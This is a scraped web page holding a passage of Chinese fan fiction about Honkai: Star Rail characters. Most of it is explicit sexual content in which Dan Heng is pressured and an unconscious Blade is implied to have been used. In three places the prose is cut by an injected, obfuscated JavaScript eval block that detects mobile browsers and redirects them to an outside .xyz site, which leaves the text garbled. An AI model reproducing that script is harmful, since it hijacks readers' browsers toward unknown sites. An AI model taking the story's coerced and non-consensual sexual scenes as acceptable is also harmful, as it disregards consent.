“今日何幸,得此嘉辰?”身量已高过丹枫的男人笑弯了眼,白色的发梢随歪头的动作轻晃,立在丹恒与刃之间,目光却牢牢锁在那抹熟悉的身影上。 他指尖无意识摩挲着袖口暗纹,语气里裹着几分岁月沉淀的轻叹:“一别数百霜,常恐故影成烟瘴——丹枫哥,莫不是我刚从案牍堆里抬眼,竟入了一场清梦,连眼前人是真是幻都辨不清了?” 丹枫抬了抬眼皮,“……谁又能知晓呢?” 他把目光扫了扫,从隐隐被景元护在身后的丹恒和刃一一看去,最终又重新回到面前的这个他不再熟悉的景元将军身上。 “你倒是好心……”额上龙角的男人心中明了。 景元不置可否,只是点点头,语气里带了丝无奈:“抱歉,身膺守土之责,未辨故人身前,不敢不存三分惕厉。况且——”他话音微顿,眸光扫过场间,续道:“观丹恒他们神色,似乎对丹枫你……不怎么友好的样子。” 丹枫神情散漫的想了想,却是笑了一下。 “以某种意义上来说,他们那个态度不为错。” 景元有点好奇了。 他刚刚也想明白了,自己似乎误会了什么,丹恒和刃恐怕不是他所想的那样,所以丹恒才会那样焦急的阻止自己。 反而是自己可能好心办了坏事。 不过,也怪不得景元会想岔,以丹恒和刃两人的情况,再加上同时出现,一个人身上满是暧昧的痕迹,一个人看起来很正常,谁来都会觉得是第一个人吃了亏。 出力甚多的丰饶神力笑而不语…… 这恐怕稍微有些地狱笑话了,咳咳,景元眨眨眼,把散逸的思绪回收。 他左右看了许久,对面那位,不论怎么看都不像是假的饮月君丹枫。就饮月君那通身的气质,还有眼神,也没有谁能给他第二个同样的感觉了。 男人坦然受景元的打量,挑挑眉道:“何须自证,你若是不信,不妨来我比试一场?” 景元:…… 他倒是忘了,以丹枫哥的性子,是那种老老实实和人说话,用道理说服别人的人吗? 以理服人【物理版】才是他的风格啊。 以前就天天约架自己师父镜流,三天一小打,七天一大打。刚开始还赢多输少,后面就是输多赢少了。 对此,心高气傲,嘴巴比龙鳞都硬的龙尊大人如是说:“不是我打不过,而是比试,当然友谊第一,输赢第二了。生死战,我必赢!” 那可不?谁生死战打得过奶妈加战士的综合体啊。 跟个作弊一样,边打边奶,其他人还要不要玩了? 景元痛苦地捂住了额头,深吸一口气,他放下手,重新看过来,苦笑着说:“罢了罢了,我信你是真的饮月君了。” 可对面那人好似不怎么开心的压了压眉梢,眼角的红痕凌厉。 他果然想和自己打架,景元心想。 “罗浮新历劫波,正是百废待兴时;我亦旧创未愈,尚需调护一段时日。”景元话音稍缓,金色的眼眸温和如映照在苦海的阳光,他话锋一转,语气里添了丝面对故人独有的熟稔,“比试之事,还是算了吧。行行好,高抬贵手。等您老人家回去后,不妨多多找师父她去切磋,反正她也喜欢和你打。” 丹枫听见景元的拒绝,略有遗憾,倒也没有强求。 反而上前几步,伸手捏住了景元的手腕,他垂下青眸,细细诊断,得了结果,便放开了手,悠然后退了回去。 虽然景元说得严重,丹枫也确实看出他不久前受过重伤,但脉象却是平稳的。应该是有医术高超之人在为他调理,没有大碍,如此也令他放下心来。 丹枫满意的看了一眼在景元身后没有说话的丹恒,眼神赞赏。不愧是自己的后世,医术也同样高明,还记得照顾自己老友。 丹恒被丹枫看得一头雾水,他担忧这人又开始不对劲,不由自主的往景元背后更加缩了缩,用那个高大的身影把丹枫给挡住。 丹枫:? 后世何为要避开自己的视线,看起来不太喜欢自己的模样?他明明就很喜欢小恒来着。 丹恒犹豫地戳了戳身前将军的背,小声说:“丹枫他状态似乎不太正常,将军还请注意一二。” 景元感觉到丹恒居然会躲在了自己身后,他似乎对丹枫很是警惕的样子,内心的好奇更是加剧了起来。 甚至还说出丹枫不正常的话语,真是稀罕之事。 所以,丹枫究竟对丹恒还有刃做了什么? 他们是不是之前和丹枫有过交集?莫不是回到了七百年前? 景元微微考量,然后轻轻笑了笑一下,如此——还真是不可思议的事情啊。 景元对丹恒的提示自然不会忽视,但从现在来看,丹枫的状态都很正常。 于是,景元也没有多加试探,反而直接问出了口。 “你对丹恒和刃是否做了什么?你似乎吓到丹恒了。” 丹枫神色微微一怔,然后若有所思的目光扫过对面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472910|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个人,唇角勾出浅浅的弧度来。 丹恒:…… 也没有那么怕,只是……只是,他有些受不了三观崩溃又重组的经历。之前在丹枫那里的那段经历,对于一个才成年的持明来说,也太超出了。 瞧瞧现在还在他尾巴上圈着的刃,这位臭名昭著的星核猎手,凄惨程度比自己可重多了。屁.股都开花了吧,好可怕,丹枫真的好可怕…… 杀手在半路上就晕了过去,也不知道是心理作用还是身体状况,总之现在这个人已经是死机状态了。 丹恒庆幸自己记得把刃捞了出来,不然等进了幽囚狱,难不成自己还要去劫狱不成? 而现在,不会又要搞出什么事情来吧?景元会不会有事?不行,不能这样,他得阻止。 丹恒深吸口气,抬起头,打算盯着丹枫,试图提前阻止坏事发生,一点可能性都不要出现。 身为巡猎令使的景元加上自己的龙尊之力,这回总不能打不过一个丹枫了吧。 可事情有时候总会出乎意料之中。 俊美清丽的龙尊看着他们露出浅淡的笑容,仿佛融化的冰雪。 这是个好看而又危险的男人。 “景元,你想知道?”龙的眼波流转,像他身后波光粼粼的古海之水,美丽深邃又吸引人,他慢慢的说:“那要不要自己来试试呢?” “哦?”男人挑眉,熔金的眼睛倒映着日光,熠熠生辉。 丹枫看着景元,在他的记忆里,前不久那孩子还在自己面前撒泼打滚,让他陪着去顶镜流的怒火,免于一顿训斥。白发少年面容稚嫩,是一颗实打实青涩的果实,可现在眼前的这位,已经成长成一位沉熟稳重的罗浮将军了。 完全张开的五官,容貌俊美,身姿挺拔,顾盼生辉,那双金色的眼瞳里不再有稚气未脱,深邃如渊的目光是属于久居高位的上位者所有。 帝弓司命的令使,守护罗浮数百年的将军,也是一个令人敬佩的真正强者。 龙的心跳缓缓鼓动着,他有了一些兴趣。 于是继续开口。 “……要试试吗?唔……” 却被人一把捧住了脸。 是景元。 他很少有这般出格的举动,丹枫心想,但如今在这个久别重逢的故人面前,也不算太过失礼。 好吧,就算失礼了,丹枫哥也管不到现在的他了。 男人目光灼灼的看着神色淡淡的龙尊,看进那波澜不惊的青色眼眸中。 他眨眨眼,眼神却是莫名的教人看不真切,然后勾起唇角,悠悠地开口。 “好啊。”白发的俊美将军如是说着。 他甚至扬起了一如往常的笑脸。 “波月古海风高浪急,不是好去处,不如去我的住处吧?” “啪嗒。” 呆滞的丹恒一时放松,那位昏迷不醒的星核猎手被尾巴丢在了沙滩上面。 年轻的持明小龙指着一脸若无其事的景元,手指颤抖,又指向神情平静的丹枫,瞳孔地震。 “……” 他突然不知道该说什么了,内心波涛汹涌,却说不出一句话来,在这里成了一个好看的哑巴。 而这时,那位矜贵的龙尊开了口。 “看起来小恒也很喜欢的样子,不如也一起来吧。” !!! 丹恒也不管刃了,他拔腿就跑。 却被熟悉的尾巴捞了回来。 身边的景元笑眯眯的把刃捡了起来,丹恒看不清他的表情,只觉得那眼角的泪痣都在扭曲。 反了反了,一切都反了! 8. 被美色蛊惑人之常情 之前是刃被丹恒用尾巴拴着跑,他忙着逃命,当事人也早早昏迷,也就没有这般社死的体验。 丹枫将他牢牢地困在青色的龙尾之上,和那跟着一起“狼狈为奸”的罗浮将军一并行走在罗浮之上,看其方向,确实是景元的住处位置,别管丹恒他是怎么知道的。 丹恒掰了掰龙尾巴,却纹丝不动,又不敢真的使力,无奈只能泄了气,把目光放在景元和丹枫的身上。 白发的男人姿态闲适的站立在黑发如瀑的龙尊身边,偶尔会出声为他介绍一下如今的罗浮情况,丹枫虽然没有表露出什么表情,却也是神情舒缓的默默听着,偶尔还会问几句自己感兴趣的事情。 两人之间的气氛透出这种难言的默契,常人很难插入。 “如今的罗浮,感觉如何?”景元笑着问丹枫,“和七百年前还是有不一样的地方吧。” “不错。”丹枫一路看过来,赞同的点点头。景元打小就聪慧,若是当上将军,能治理好罗浮,是无需质疑。不过,他曾记得这位以前的理想倒并非是当将军,而是向往成为一名游历星海的巡海游侠。 龙尊看了一眼如今的景元将军,迅速收获了一枚笑脸后,微微垂眸,没有问出口。只是默默接过了男人递过来的快乐茶,刚刚他在路口买的。是新口味,以前的景元爱喝,现在的这个也喜爱吗?稍微有些太甜了,不过还挺好喝的,丹枫心想。 现在可没那些恼人的龙师在耳边絮絮叨叨,惹人不快,难得如此清闲自在。 七百年后啊,真是不错…… 然后他发现景元也笑着喝了一口,眉头却顿时皱了起来,他苦着脸说:“拿错了,丹枫哥把我的喝了。” 龙尊笑了,他扬扬手中的快乐茶,“是你先给我的,就不能再要回去了。” 景元也笑了,他挑挑眉道:“嗯,那还真是可惜啊。” 丹恒看着他们的相处,有些愣神。他第一次见到这般放松悠哉的景元,那张总是在笑的脸,都好像真挚了许多。 年轻人眨眨眼,深吸口气,不知为何看向那还在晕着生死不知的星核猎手,突然有种自己和他都变成了明亮电灯泡的神奇感悟。 也不知道这家伙是不是感觉到了这种场面,才会在那里“装死”,毕竟大家都知道,刃有不死的诅咒,根本不会这么久都还没有修复好身体,大抵是本人不想醒。 —— 景元带着几人重新返回了自己的府邸,之前被撞断倒塌的树已经被云骑军收拾出去了,可怜那棵已经活了几百年的银杏树,已经被大卸八块的抬出了这个地方,一颗同样高大挺拔的树木被移植了过来,这回碰巧是一颗正红的枫树。 枫叶红似血,慢慢地落着叶子,打着旋,然后被一只手指纤长的手接住。丹枫捏着枫叶,看了一眼,拢回宽大衣袖中,随着景元一路坦然地踏进了他的卧室。 在进入房间之前,丹枫并不把景元在鳞渊境时的话当真的。 作为一个成年人,还是罗浮的将军,怎么可能这般轻佻,可能只是想要把自己这个不稳定因素放在眼皮子底下看着罢了。在外界时,不好讨论过多,但在这种环境下,也能说得更明白些了。 但等丹枫走进房间,微微环视一周后,他才后知后觉的发现,景元确实是认真的。 龙尊有点惊讶,但欣然接受这份送上门的特殊“礼物”。 景元将刃放在了床边的地上,不是他不体谅老朋友,而是景元本来打算把人放在床上的,然后发现床可能不够大,就一脸忍痛割爱的表情,把曾经的好兄弟丢到了床下。好兄弟,真是苦了你了。 丹恒看着景元的动作,欲言又止,最终选择了闭嘴。 他一个“弱小可怜又无助”的家伙给刃说什么情呐,自己都自身难保了。 持明的年轻人被自己的前世用龙尾甩到了床榻的最里面,砸进了一堆柔软的被褥中。是熟悉的体验,在七百年前的时候他也是这么被丢过去的,当然,那个时候是丹枫的床。 真是新奇体验,他也算是解锁某种奇怪的成就了——同时“爬上”罗浮将军还有持明龙尊饮月君的床榻,其他人没自己这么“能”,对吧? 丹恒狼狈地爬起来,好似自己鼻尖都萦绕着一种淡淡的熏香气味。和景元身上的味道一样,但很淡,如果嗅觉不灵敏的人,根本不会察觉出来。 等他挥开乱七八糟挡住视线的罗帐后,那两位已经亲在一起了。 丹恒:…… 他抱住自己的胳膊,往后缩了缩,试图让自己消失在这里。 他们是玩真的!!!救命! 少年突然很想念星穹列车的大家。虽然穹呆愣抽象沉迷垃圾桶,虽然三月七活泼可爱经常无厘头,他们两个往往需要自己去兜底收拾烂摊子,虽然姬子女士的咖啡非常的磨炼意志,还喜欢邀请大家品尝,虽然瓦.尔特先生……好吧,瓦.尔特先生是一位非常靠谱的成年人,没有任何缺点,丹恒也很敬重他。 ……他好想回去,他就不应该上这一次的罗浮。 这一切究竟是怎么了? 他在做梦吗? 不该如此的。 让他回去吧。 可惜,丹恒最近的许愿从来没有灵验过,反而好得不灵坏得灵。 刚许完愿,就有人被掀到了自己面前,丹恒紧紧闭上眼,不肯睁开。仿佛自己看不见,就能当做不存在了。 等唇上传来湿润的舔舐触感后,丹恒后背汗毛都立了起来,他几乎是惊恐得睁开眼,本以为是丹枫在亲自己,但映入眼帘的那个人,更让丹恒觉得无法接受。 是景元。 怎么会是他…… 景元的身后是那端庄矜持的龙尊,此刻正和神策将军那一身甲胄做争斗,他低着头,长长的柔顺黑发倾落在肩背上,脸颊边红流苏耳坠红艳绝俗。丹枫看起来不太熟悉这身甲胄,不过研究了一会儿,就快速而利落得给人卸掉了,只给男人留了一身单衣在身上。 嘴唇被轻轻咬了一口,丹恒回过神,是景元笑眯眯的看着自己,等他把注意力放在自己身上,他才笑吟吟的问:“你在出神?刚刚在想什么?”居然出神了,他就这么没有吸引力? 景元好奇的想,虽然这样说,有点自恋,但丹恒应该不讨厌自己吧?男人摸了摸下巴,又凑过去,在年轻人白嫩的脸颊上咬了一口,留下明晃晃的牙印子。 在想丹枫和你,你们两个很不对劲…… 丹恒抿着唇,没有说话,却也没有特别明显的抗拒之色。他说不清自己是习惯了丹枫那不达目的不罢休的不正常态度,还是自己可能也不对劲了。 丹恒想破罐子破摔了。 男人伸出手抚上青年的脸颊,金色暖熔的眼睛望进丹恒青色的眼眸,那双剔透如宝石的眸子实在是好看,青年一眨不眨的看着他,里面满满的都是他的身影,那是一种信任的姿态。 莫名的,景元忽然记起自己第一次进入幽囚狱,看见那位已经蜕生的故人时的场景。 新生的持明被锁链层层困住,身上有伤痕斑驳的痕迹,幽囚狱一向昏暗无光,是一种压抑绝望的环境,可就连景元也没有想到,他会看见那样一双美丽动人的眼眸。似乎察觉到脚步声,额生双角的少年抬起头,朝他的方向瞪过来,其中升腾的怒火,点亮清透的眸子,那是比太阳还要明亮的眼神。 脚步竟莫名顿了半拍,连带着呼吸都悄悄滞了一瞬。景元垂在身侧的手指,无意识地蜷了蜷。 那不是殿宇里琉璃灯的温软,也不是沙场朝阳的炽烈,是裹着棱角与怒火的亮。少年额间的角还带着未褪尽的青涩,伤痕在昏暗里泛着淡红,可那双瞪过来的眸子,偏生清透得像淬了碎星,怒火腾起时,竟比他曾在天际见过的流火还要灼眼。 心脏像是被什么轻撞了一下,闷声却清晰。 他素来沉稳,哪怕在沙场直面千军万马,心跳也从不会这样失序,可此刻,望着那双亮得几乎要刺破囚狱阴霾的眼睛,竟有股温热的情绪从胸腔里漫上来,软了他原本准备好的措辞,也乱了他惯常的镇定。 比太阳更明亮的光啊…… —— 稍微有点失算了,白发的将军迷蒙地想着,却因为快感的刺激导致大脑几乎停滞,此刻正在艰难的运作着。丹恒原来在床上是这种模式的吗?这看起来一点都想象不出来啊。 浑身都彰显着一种强大而兽性的感觉,仿佛随时都会被拆吃入腹的非人感,冷漠且强势,根本不容人置喙。 景元抓紧了少年纤细的手指,控制不住的力道在上面留下青青.紫紫的痕迹,喉咙里的声音却很诚实得泄露出来,他可不打算忍着,只是这个人做得也太狠了。 他喘息着,试图在这种过量的感官中找到一种平衡,让自己能好过点。 真是个攻击性强烈的年轻人,景元无不苦笑着想,都怪那张脸显得太有欺骗性。 丹恒抬起那张清丽漂亮的五官,望着他时,虽然一如既往的倔强神情,在景元眼里却还是那当初那个在幽囚狱里艰难求存的可怜兮兮的持明幼崽。 那时候的他从未开口求过饶,只默默地忍受着,忍受着那些与自己无关的罪孽,也忍受着一群“陌生人”毫无缘由的怨恨。 景元叹息一声。相对欢喜于再见到丹枫,他对丹恒的态度其实从未改变,虽然达不到什么情爱的程度,但也远不止友情。没有拒绝丹枫提议的自己,就算是再次任性一回吧。 这么久的时间里,他还能有几次机会可以任性呢? 丹枫,亦或者丹恒,也是他所眷恋着的人啊…… 似乎又想了些乱七八糟的事情,人老了就喜欢胡思乱想。面对着两张绝俗出尘的美人,他都能涣散了注意力,还真是不好意思啊。 景元牵起嘴角没来由地笑了一下,然后偏过头,难.耐的咬住了自己的手指。 ……几乎要把理智冲成一团浆糊,景元喘息.着,胸膛剧烈地起伏,感觉太阳穴一抽一抽的胀痛,有点激烈过头了啊,年轻人。 他微微抬起头,看见在丹恒的身后衣衫都还算整齐的男人微垂着那非人的青瞳,正漫不经心的在自己后世雪白的肩颈上吮吻着,不断咬出一道道吻.痕,有些甚至咬得太深,而渗出丝丝缕缕的鲜血,然后被龙轻轻舔走。 景元看见那些痕迹后,总算才知道,丹恒身上那些痕迹究竟是怎么来得了,根本不是他所想的那样,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一切对于他这样的老人家也太超出了,景元甚至有点后悔,想要退缩,可被丹枫牢牢得抱住。男人用戴着黑色手套的修长手指捏住景元的脸颊,使之偏移过来,和自己接.吻,缠绵热情的吻也不像丹枫这个看起来冷冷淡淡的人,他在拉着人一起将理智沉沦。 景元喉结不断地上下滚动着,却还是呼吸不畅。 丹枫在人快要窒息的时候,松开了景元,然后将目光转向一直沉默寡言,只是闷头的后世。 他看起来一副自暴自弃的模样,丹枫莫名觉得可爱,他揽住少年的脖子,将人勾了过来,咬住了那张红润的薄唇,然后成功收获了一道顿生波澜的目光。虽然眼角微红的人收敛的很好,但丹枫还是从其中看出了一抹幽怨。 尽管被对方嫌弃了,可丹枫却挑起了唇角,露出浅浅的笑容来。原来逗弄后世是这么快乐的一件事…… 龙尊重新又咬了一口少年的脸颊,和景元之前的咬痕重叠之后,放开手,去亲景元的脊背,如蜻蜓点水一样温柔。 不过没一会儿,龙又耐不住心底的暴虐之感,撩开浓密柔软的白发,尖锐的牙齿开始细细密密的啃咬他的后脖颈。景元身体微微发抖,仿佛一只受惊应激的狸奴一样。 他亲了一会儿,又觉得不够,丹枫的手指往下滑,从景元结实的背脊落下,自认为没有多使用力道,景元却抖了抖,脸色唰得白了下来,是疼的。 丹恒见状不对,连忙开口叫停了好像还没有察觉到问题所在的丹枫。 “丹枫,将军他受不住的。”丹恒阻止了即将发生的可能会流血的事件。 没有丝毫分寸感的前世,他真的受够了…… “……”丹枫抿了抿嘴,不太高兴的沉了沉脸,青瞳仔细查看景元的状态,发现他确实不太舒服,表情更不开心起来,尽管他的面上没有多大的波动,区别只是唇角轻微的下撇了些许。 丹恒松了一口气,还好丹枫停下了手,看来景元对他还是不一样的。至少能让他听得懂人话…… 想到这里,少年没忍住狠狠瞪了一眼神策将军。若不是他脑子进了水,怎么会变成现在这样? 明明有无数次机会可以避免,但谁叫某人头铁的一意孤行呢?真是该圆滑的时候,不圆滑,屁.股开花了也是自找的! 丹恒咬牙切齿的想。 景元晕乎乎的大脑可能暂时和智慧断开了链接,又被丹恒突如其来的发力给弄得溃不成军。 而丹枫手撑在床上,舔了舔景元恍惚湿润的眼睛。 “景元,我也想。”黑发的美人低垂着眉眼,饮月君轻声对他说着,“……我会小心的,景元,别忘了,我可是医师。会很舒服的……” 景元呼吸都停了一下,神色有些恍惚,他捂住脸,想竭力忽视胸膛里那活蹦乱跳的心脏跳动声,理智告诉他不能答应,可今天一直都颇为放肆的思维却逐渐偏向了另一边。 如果一个接一个,自己估摸着会撑不住的。 所以一起,应该……或许……大概,会好一些? 于是他听见自己恍惚的声音,往日里清朗的声线变得沙哑而低沉:“……好。” 丹恒沉默了。 他没忍住捏起这位聪明的算无遗策的神策将军的脸,死死得盯着打量,似乎想要看出什么来。 这是景元吗? 年轻的持明脑瓜子里突然冒出来这样一个想法。 他确实是景元。 “你真是疯了。” 丹恒最终只吐出这样一句话来。 9. 两个老家伙合伙欺负人 白发的将军眯着眼却只顾着笑,他撑起身体,在床上膝行凑过来,哑声笑着摸了摸青年人光滑柔嫩的脸颊。 “丹恒这是在担心我吗?” 丹恒本能想躲,却强撑着自己不肯退缩,他抬起眼眸定定地看着景元,看着景元这幅熟悉又不熟悉的姿态。将军笑眯眯地凑上来,然后咬了一口丹恒的手指,覆盖了之前的一个牙印。 目光落在那个重新加深的青紫牙印上,丹恒唇角微抿,他有点记不清到底是谁最先咬的了,反正等他发现的时候,已经被咬了不少了。 “丹恒?”往日清朗的声音被压低,便多出了许多蛊惑人心的磁性和魅力。 昳丽的年轻持明眉头抖了抖,他受不了的伸出手捂住了面前人的嘴。丹恒皱眉,耳根却红了一片,小声说:“将军……别再这种时候喊我……我的名字了……” 景元见丹恒弱势的姿态,反而支棱起来不少,恶趣味心顿起,他伸出舌头,舔了一口青年的手心,如愿以偿的看到了对方颤抖一下,随即快如闪电的收回了手,看那瑟缩受惊的姿态,仿佛他才是那个备受欺负的人。 丹恒瞪大眼睛,甚至往后退了退,却被景元抓住了手腕,不要人逃走,他现在甚至有余力去打趣对方。 “丹恒,你若是再往后,就要掉下去了,会压到底下的刃。” 青年的手是凉的,光滑的,景元就像是握住了一团温润滑腻的玉石。 景元的金眸动了动,他微微用了点力,把人扯近,低下头,蓬松柔软的白发登时滑落,毛绒绒的,就好像狸奴一样乖巧柔软的蹭了蹭他的掌心。 “……丹恒……” 丹恒越发的不知所措了,他抬起头望向一边好整以暇看戏的前世。龙尊正在解自己的衣衫,绸缎似的墨发披散下来,男人的一举一动都优雅流畅,富有美感。 作为一族之长,从小在持明被精心教导长大的丹枫,无论是姿态还是仪表都是一等一的优秀,和丹恒这种野蛮且肆意生长的孩子是不同的,尽管两个人该是拥有相同的本源。 想到这个,丹恒并不会感到自卑,因为他已经拥有了一样,所有饮月君都无法得到的珍贵之物——那就是自由。 星海浩荡,这片银河很大很大,拥有者无限的可能——所以,自由才是他作为丹恒活这一世最珍重的东西。 丹枫见后世被景元逗得表情羞耻,脸红的像烧起来一样,可能自己再不帮忙就可以煎鸡蛋了,唇角微勾,他靠了过来,从景元的背后握住了他的手,指腹轻轻摩挲,声音平缓。 “景元,好了……你休息有一会儿了……你——准备好了吗?” 龙尊冷静的声线宣布了一个可怕的事实。 丹枫不像自己后世那种急切和用力,几乎不顾景元的身体状况,虽然龙尊本人也没有做过几次,但得利于刃那具无论怎么做都不会坏的身体来实验,他的技术还是比丹恒要好上不少,起码不像丹恒一样用得都是蛮劲。 年轻人就是这样鲁莽,横冲直撞,精力旺盛呢。 说起来,丹枫想起应星好像挺喜欢那种,看他很.爽的样子,有机会去印证一下…… 龙尊精通医术,他惦记着丹恒一会儿还要继续,行动之间不免温柔了许多,只是察觉到这种事情的人,大概只有景元,而非一直对自己的前世,饮月君丹枫比较抗拒和警惕的丹恒。 丹枫觉得自己对后世实在是用心良苦。自己都这么优待他了,小持明应该多多亲近自己才对,为什么会一副英勇就义的样子对自己呢? 他们难道不算是这个世界上最亲密的存在吗? 丹恒,就是他的血液延续。 龙的瞳孔转深,静静注视着自己的后世,内里的情绪却无法分辨。 如果丹恒知道自己的前世在想什么,一定会无语凝噎的。这种福气,他真的不想要,谢谢。 幸好丹恒现在注意力都在景元身上,没有去观察那位龙尊的神色。 白发的将军艰难喘息着,一边睁开金色的眼眸看丹恒。或许是他对丹恒一直存在着某种神奇的滤镜,青年低头看过来,那清凌凌的眸子里盈起浅浅一层水雾,搭配眼尾的红,无端让景元觉得楚楚可怜,看得叫人心慌。 有炽热的呼吸喷洒在自己的小腹处,是景元几乎快要弯下腰,绑着红绳的白发垂落过来,痒痒的。这个姿势十分地危险,丹恒更是羞赧不已,下意识的就想要躲开,青年伸出手,试图把景元搀扶起来,让自己脱身,最起码不要再是这种尴尬的姿势了。 可丹枫却一点也不谅解丹恒的心思,他俯身,用手拨了拨景元用来束发的红色发绳,末了凑过去,垂着眼,薄唇咬住了一边,缓缓得将其抽了出来。 失去了束缚的白发洒落在景元肩背上,男人绷紧了身体,结实的背脊弓起,颤抖着抓紧了丹恒的手臂,把本来打算支起身体的人直接拖了下来。 丹枫看向对面,“小恒,你为何要跑?” 丹恒默了默,这才摇摇头低声说。 “没有,只是腿麻了,想换个姿势……” 他干巴巴地找着借口。 丹枫吐出嘴中叼着的红色发绳,薄唇勾了勾,但没有什么笑意和表情。龙尊冷淡着一张极其俊美的脸,丹恒看不出他信了没有,只好垂下眼避开他的视线,把目光放在景元身上。 丹枫也没打算纠结这个,他顿了顿,看了一眼丹恒,又看了看景元,好像突然“明白”了什么,于是他低头对景元开口道。 “景元,会做吗?” 景元在丹恒怀里浅浅喘.息了好一会儿,没有拒绝也没有应声,只是过了片刻,他抿着唇,皱着眉试探地伸出舌头舔了一口。 也不知道是什么缘故,从舌尖传递过来的味道不算多好,但也不坏。漂亮的青年似乎带着一种与生俱来的淡淡香气,理智告诉景元,莲花的香气没有味道,可他总觉得那大概是一种淡淡的甜…… 景元看了一眼似乎已经傻了的青年,忽然笑了笑,然后男人喉结动了动,张开嘴,慢慢地尝试往下咽。 丹恒瞳孔骤然紧缩。 如此……如此……荒唐! 他从未想过会有这种场景,这比梦境都要离谱许多的场景居然是现实,以至于让丹恒想给自己催眠自己是在做梦都难以接受。 常年忙于俗务的将军大人自然不会在这方面有什么技巧,他动作生涩,让丹恒觉得这人好像在吃冰棍一样,偶尔还会时不时的用牙齿磕到自己,简直是痛并快乐着。 大概是景元的智慧属性确实够高,没多久他就掌握了技巧。 丹恒忍得有点辛苦,额头渗出的细汗一滴滴从白皙的脸颊滑落到线条完美的下巴,最后滴落下去,深陷的锁骨也因为热气而爬上了晶莹的汗水。 不由自主地握紧手指,圆润的指甲陷进掌心肉里,他努力着适应这种感觉,呼吸急促。青年修长的手指插入景元浓密而柔软的发丝中,青年左右纠结着,不知该就这么按下去,还是推开他。 丹枫见状,反倒挑挑眉说了话。 “如果想要景元听话点,你可以试试对他撒个娇。”男人按揉了几下景元的后颈以示安抚,轻轻挑唇,“你之前对应星不是做得很好吗?小恒。” 丹枫这个话,几乎要让丹恒跳起来…… 他慌张去看景元。 白发的男人自然是听见了,景元抬起头,眼角发红泪痣惑人,他吐出嘴里的东西,咳了咳,声音沙哑道:“哦?” “是这样吗?丹恒?” “所以,不打算让我也听听吗?丹恒,小恒?”景元从下而上的望着他,眼尾下垂,表情有点难过的样子,他散着白发,更像是无精打采的猫猫了。 丹恒:“……” 他感觉自己身体里的血液在往上涌,脸应该是红了。这种事情,怎么能一样。 可是景元……他想看,要满足他吗? 脑子里的思维混乱成一团,让持明的年轻人觉得一团糟的现状不如去蜕生…… 可最终,他还是红着眼睛,声音颤抖的说出了一些自己平时根本没有想象过的话语。景元都为他这样做了,如果他想听,自己舍了脸皮又有何妨?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472912|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于是丹枫便乐不可支的和景元两个人一人一句的让丹恒说出来。 丹枫颔首,他的后世果然很可爱。 更喜欢了。 可惜…… 自己终究会和他告别,可能还是被期待着的…… 丹恒捂着脸,几乎羞耻的快要落下泪来,但在场的两个人反而好像对这样的自己更乐见其成。 青年剔透的青瞳里氤氲着水汽,最终从通红的眼角滑落下来。 有人将他的手握住拿开,凉凉的舌头在脸上舔了舔,是丹枫。 龙尊和他一般无二的眼瞳里倒映着他的狼狈样子,却好像点亮着某种不明的情绪。 丹恒偏过头,不去于他对视。 景元笑了笑,微微抬起手拍拍面前的丹恒,好似在安慰他,虽然他觉得丹恒这番显露出来的模样,让自己很是受用,也非常的满足,要知道,其他人可还看不见呢。 至于丹枫哥这边,景元早就放弃了。 丹恒垂下视线。 男人的白发凌乱着,在抬眼时,会露出湿润的睫毛和嫣红的眼尾,还有藏匿其中一闪即逝的金色,那是景元眼睛的颜色,璀璨夺目。 丹恒看着景元憋得金色眼睛通红气都喘不匀的样子,又默默把自己安抚好了。 丹枫的手指捏着云吟术,给景元漱了下口,然后勾着他的下巴,亲了过去。 算作一个奖励。 对方也坦然地接受了龙的亲密。 只有丹恒选择闭上眼,当自己是个死人…… —— 等丹恒带着景元把人清洗好了返回卧室后,那位不可以常理待之的龙尊已经坐在收拾好的床铺上了。 俊美的男人翘着长腿,单手撑着脸,神情寡淡的看着门口,看见丹恒他们回来,也没有什么表情,只是淡淡的用碧青的眼瞳看着他们,宛如不食人间烟火的谪仙,可这只是个错觉,没人比丹恒更清楚。 丹恒没搭理看见自己,眼睛都微微亮了一点的龙尊大人,反而看了看房间,心头突然涌上了一种特别不好的感觉,他的目光落在床边的地毯上,那个昏迷的星核猎手已经不见了。而整个屋子里焕然一新,被收拾的很干净,甚至还点好了淡雅的熏香。 看起来,一切平常又和谐。 可丹恒却毛骨悚然起来。 他抱紧了怀里已经沉睡过去的景元,竭力不让自己弄疼吵醒对方,听见自己声音空洞而漂浮,虚弱地问丹枫。 “丹枫,这个房间是你整理的吗?” 矜贵的龙尊不解地歪歪头。 “当然不是,这里自然有人代劳,我岂会做这种事?”他理直气壮又理所应当的回答了后世的问题。 丹恒:…… O_o 丹枫!!!啊!他的清誉!啊呜呜呜! 丹枫这个时候,仿佛打通了任督二脉,突然就能解读丹恒面无表情之下的崩溃情绪了。 于是这位饮月龙尊降贵纡尊的下了床,赤着雪白的脚走过来,拍拍后世单薄的肩膀,他语气难得温柔。 